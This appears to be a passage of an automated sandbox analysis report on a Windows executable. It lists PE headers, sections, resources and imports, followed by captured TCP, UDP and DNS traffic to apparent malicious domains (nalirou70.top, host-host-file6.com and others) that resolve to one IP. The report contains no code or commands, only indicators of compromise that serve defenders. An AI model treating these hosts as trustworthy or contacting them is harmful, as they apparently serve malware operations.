[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x316ec	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x272a000	0x4210	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x272f000	0x17c0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1240	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17bd8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1ec	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x312a8	0x31400	False	0.612701261104	data	7.02904343285	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x33000	0x26f642c	0x1200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x272a000	0x4210	0x4400	False	0.711971507353	data	6.22162215956	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x272f000	0x109c8	0x10a00	False	0.0766858552632	data	1.00398945352	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x272da38	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x272a2d0	0x25a8	data	Spanish	Paraguay
RT_ICON	0x272c878	0x10a8	data	Spanish	Paraguay
RT_STRING	0x272dca8	0x150	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x272ddf8	0x252	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x272e050	0x1bc	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x272d9b0	0x88	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x272d948	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x272db68	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x272d920	0x22	data	Spanish	Paraguay
RT_VERSION	0x272db80	0x128	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
KERNEL32.dll	SetDllDirectoryW, _lwrite, InterlockedDecrement, GetNamedPipeHandleStateA, SetHandleInformation, SetConsoleScreenBufferSize, CancelWaitableTimer, SetVolumeMountPointW, FindFirstFileExW, FreeEnvironmentStringsA, GetModuleHandleW, GetSystemTimeAsFileTime, GetPrivateProfileStringW, ReadConsoleW, GetSystemWow64DirectoryA, QueryActCtxW, CreateActCtxW, ActivateActCtx, GlobalAlloc, GlobalFindAtomA, LoadLibraryW, GetConsoleMode, ReadConsoleInputA, SizeofResource, GetSystemWindowsDirectoryA, SetConsoleMode, HeapValidate, GetVolumePathNamesForVolumeNameW, IsDBCSLeadByte, GetModuleFileNameW, GetSystemDirectoryA, CompareStringW, GetStartupInfoW, TlsGetValue, GetLastError, SetLastError, GetProcAddress, SetFirmwareEnvironmentVariableW, CreateNamedPipeA, IsValidCodePage, CopyFileA, GlobalGetAtomNameA, SearchPathA, GetPrivateProfileStringA, OpenWaitableTimerA, WritePrivateProfileStringA, WTSGetActiveConsoleSessionId, SetConsoleCursorInfo, GetProcessShutdownParameters, BuildCommDCBA, GetCurrentDirectoryA, GetFileTime, GetVersionExA, GetWindowsDirectoryW, FileTimeToLocalFileTime, TlsFree, GetProfileSectionW, CommConfigDialogW, LocalFileTimeToFileTime, GetConsoleAliasesLengthW, VerifyVersionInfoW, DeleteFileA, GetCommandLineA, HeapSetInformation, EnterCriticalSection, LeaveCriticalSection, DecodePointer, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, InterlockedIncrement, ExitProcess, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, IsBadReadPtr, TlsAlloc, TlsSetValue, HeapCreate, WriteFile, GetACP, GetOEMCP, GetCPInfo, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, RtlUnwind, SetFilePointer, GetConsoleCP, HeapAlloc, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, FlushFileBuffers, GetStringTypeW, LCMapStringW, MultiByteToWideChar, IsProcessorFeaturePresent, SetStdHandle, CloseHandle, CreateFileW, RaiseException
USER32.dll	GetMenuInfo, GetMessageTime, GetListBoxInfo
GDI32.dll	GetBitmapBits

Version Infos

Description	Data
Translations	0x0512 0x023c

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Paraguay

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2021 22:20:48.476185083 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:48.769392967 CET	80	49779	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:48.773166895 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:48.773745060 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:48.773768902 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:49.066751957 CET	80	49779	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:49.752573013 CET	80	49779	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:49.752652884 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:49.756762981 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:49.787431955 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:50.049923897 CET	80	49779	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:50.087162018 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:50.087317944 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:50.087435007 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:50.087461948 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:50.387048960 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:50.387072086 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:51.068881035 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:51.069015980 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.069650888 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.112175941 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.369502068 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:51.415752888 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:51.417188883 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.417298079 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.762712955 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278337955 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278364897 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278382063 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278403044 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278423071 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278436899 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.278445005 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278469086 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278480053 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.278490067 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278510094 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278517962 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.278532028 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278543949 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.278580904 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582031012 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582056999 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582076073 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582093954 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582112074 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582129955 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582143068 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582159996 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582164049 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582171917 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582186937 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582201004 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582212925 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582226038 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582238913 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582252026 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582263947 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582276106 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582294941 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582300901 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582307100 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582314968 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582320929 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582350016 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582439899 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.885854006 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885885000 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885904074 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885921001 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885937929 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885953903 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885963917 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.885972023 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885991096 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885998011 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886009932 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886027098 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886043072 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886053085 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886060953 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886079073 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886087894 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886096954 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886111975 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886113882 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886132956 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886142015 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886152983 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886171103 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886176109 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886188030 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886207104 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886209965 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886224985 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886245966 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886254072 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886262894 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886277914 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886284113 CET	80	49781	47.74.84.15	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2021 22:20:48.181229115 CET	49714	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:48.469034910 CET	53	49714	8.8.8.8	192.168.2.4
Nov 9, 2021 22:20:49.766926050 CET	58028	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:49.786566019 CET	53	58028	8.8.8.8	192.168.2.4
Nov 9, 2021 22:20:51.091515064 CET	53097	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:51.110956907 CET	53	53097	8.8.8.8	192.168.2.4
Nov 9, 2021 22:20:56.012543917 CET	62389	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:56.360290051 CET	53	62389	8.8.8.8	192.168.2.4
Nov 9, 2021 22:20:57.792776108 CET	49910	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:58.143651009 CET	53	49910	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:04.161433935 CET	55854	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:04.480629921 CET	53	55854	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:05.779247046 CET	63153	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:05.799434900 CET	53	63153	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:07.132746935 CET	56534	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:07.150015116 CET	53	56534	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:08.465326071 CET	64078	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:08.810220003 CET	53	64078	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:10.102009058 CET	61721	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:10.121613979 CET	53	61721	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:21.094811916 CET	61522	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:21.114425898 CET	53	61522	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:22.480365992 CET	52337	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:22.499907017 CET	53	52337	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:23.795788050 CET	55046	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:23.815069914 CET	53	55046	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:25.097748995 CET	49612	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:25.447969913 CET	53	49612	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:30.161583900 CET	49285	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:30.179389954 CET	53	49285	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:31.479443073 CET	50601	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:31.498986959 CET	53	50601	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:32.814738035 CET	60875	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:32.834692001 CET	53	60875	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:37.624569893 CET	56448	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:37.643862963 CET	53	56448	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:38.948087931 CET	59172	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:38.967904091 CET	53	59172	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:44.945497036 CET	62420	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:44.965086937 CET	53	62420	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:46.255127907 CET	60579	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:46.274498940 CET	53	60579	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:47.570796013 CET	50183	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:47.590293884 CET	53	50183	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:48.266598940 CET	61531	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:48.290569067 CET	53	61531	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:48.878771067 CET	59794	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:49.248229027 CET	53	59794	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:56.009752035 CET	55916	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:56.027358055 CET	53	55916	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:57.334422112 CET	60542	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:57.353862047 CET	53	60542	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:58.635862112 CET	60689	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:58.655211926 CET	53	60689	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:59.960345030 CET	64206	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:59.979754925 CET	53	64206	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:01.274131060 CET	50904	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:01.295880079 CET	53	50904	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:03.175628901 CET	57525	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:03.194483042 CET	53	57525	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:04.478583097 CET	53814	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:04.496556997 CET	53	53814	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:05.538686991 CET	53418	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:05.571943998 CET	53	53418	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:05.796813965 CET	62833	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:05.816350937 CET	53	62833	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:07.090008974 CET	59260	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:07.109397888 CET	53	59260	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:08.424690008 CET	49944	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:08.442487001 CET	53	49944	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:09.867391109 CET	63300	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:10.184499979 CET	53	63300	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:26.692532063 CET	51275	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:26.726464987 CET	53	51275	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:26.730770111 CET	63492	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:26.759207964 CET	53	63492	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 9, 2021 22:20:48.181229115 CET	192.168.2.4	8.8.8.8	0x306b	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:49.766926050 CET	192.168.2.4	8.8.8.8	0x3d48	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:51.091515064 CET	192.168.2.4	8.8.8.8	0x3cc4	Standard query (0)	privacytoolzforyou7000.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:56.012543917 CET	192.168.2.4	8.8.8.8	0x2a97	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:57.792776108 CET	192.168.2.4	8.8.8.8	0xcb34	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:04.161433935 CET	192.168.2.4	8.8.8.8	0x69ae	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:05.779247046 CET	192.168.2.4	8.8.8.8	0x4ba7	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:07.132746935 CET	192.168.2.4	8.8.8.8	0xf8d6	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:08.465326071 CET	192.168.2.4	8.8.8.8	0x8212	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:10.102009058 CET	192.168.2.4	8.8.8.8	0xf495	Standard query (0)	host-host-file6.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:21.094811916 CET	192.168.2.4	8.8.8.8	0x7936	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:22.480365992 CET	192.168.2.4	8.8.8.8	0x28bf	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:23.795788050 CET	192.168.2.4	8.8.8.8	0x2270	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:25.097748995 CET	192.168.2.4	8.8.8.8	0xf378	Standard query (0)	host-host-file6.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:30.161583900 CET	192.168.2.4	8.8.8.8	0x89e0	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:31.479443073 CET	192.168.2.4	8.8.8.8	0x66	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:32.814738035 CET	192.168.2.4	8.8.8.8	0x5cbf	Standard query (0)	host-host-file6.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:37.624569893 CET	192.168.2.4	8.8.8.8	0x69b	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:38.948087931 CET	192.168.2.4	8.8.8.8	0xf3e5	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:44.945497036 CET	192.168.2.4	8.8.8.8	0x95af	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:46.255127907 CET	192.168.2.4	8.8.8.8	0x1be	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:47.570796013 CET	192.168.2.4	8.8.8.8	0x12f7	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.266598940 CET	192.168.2.4	8.8.8.8	0xb21b	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.878771067 CET	192.168.2.4	8.8.8.8	0xf5d1	Standard query (0)	hajezey10.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:56.009752035 CET	192.168.2.4	8.8.8.8	0x67a4	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:57.334422112 CET	192.168.2.4	8.8.8.8	0xedc5	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:58.635862112 CET	192.168.2.4	8.8.8.8	0x66fc	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:59.960345030 CET	192.168.2.4	8.8.8.8	0xbbb2	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.274131060 CET	192.168.2.4	8.8.8.8	0xb296	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:03.175628901 CET	192.168.2.4	8.8.8.8	0x4146	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:04.478583097 CET	192.168.2.4	8.8.8.8	0x22c0	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:05.538686991 CET	192.168.2.4	8.8.8.8	0x54d1	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:05.796813965 CET	192.168.2.4	8.8.8.8	0xb7b9	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:07.090008974 CET	192.168.2.4	8.8.8.8	0xcf7f	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:08.424690008 CET	192.168.2.4	8.8.8.8	0xab01	Standard query (0)	nalirou70.top	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:09.867391109 CET	192.168.2.4	8.8.8.8	0xd4ce	Standard query (0)	host-host-file6.com	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:26.692532063 CET	192.168.2.4	8.8.8.8	0x9462	Standard query (0)	netomishnetojuk.net	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:26.730770111 CET	192.168.2.4	8.8.8.8	0x80a6	Standard query (0)	escalivrouter.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Nov 9, 2021 22:20:48.469034910 CET	8.8.8.8	192.168.2.4	0x306b	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:49.786566019 CET	8.8.8.8	192.168.2.4	0x3d48	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:51.110956907 CET	8.8.8.8	192.168.2.4	0x3cc4	No error (0)	privacytoolzforyou7000.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:56.360290051 CET	8.8.8.8	192.168.2.4	0x2a97	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:20:58.143651009 CET	8.8.8.8	192.168.2.4	0xcb34	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:04.480629921 CET	8.8.8.8	192.168.2.4	0x69ae	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:05.799434900 CET	8.8.8.8	192.168.2.4	0x4ba7	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:07.150015116 CET	8.8.8.8	192.168.2.4	0xf8d6	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:08.810220003 CET	8.8.8.8	192.168.2.4	0x8212	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:10.121613979 CET	8.8.8.8	192.168.2.4	0xf495	No error (0)	host-host-file6.com	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:21.114425898 CET	8.8.8.8	192.168.2.4	0x7936	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:22.499907017 CET	8.8.8.8	192.168.2.4	0x28bf	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:23.815069914 CET	8.8.8.8	192.168.2.4	0x2270	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:25.447969913 CET	8.8.8.8	192.168.2.4	0xf378	No error (0)	host-host-file6.com	47.74.84.15	A (IP address)	IN (0x0001)
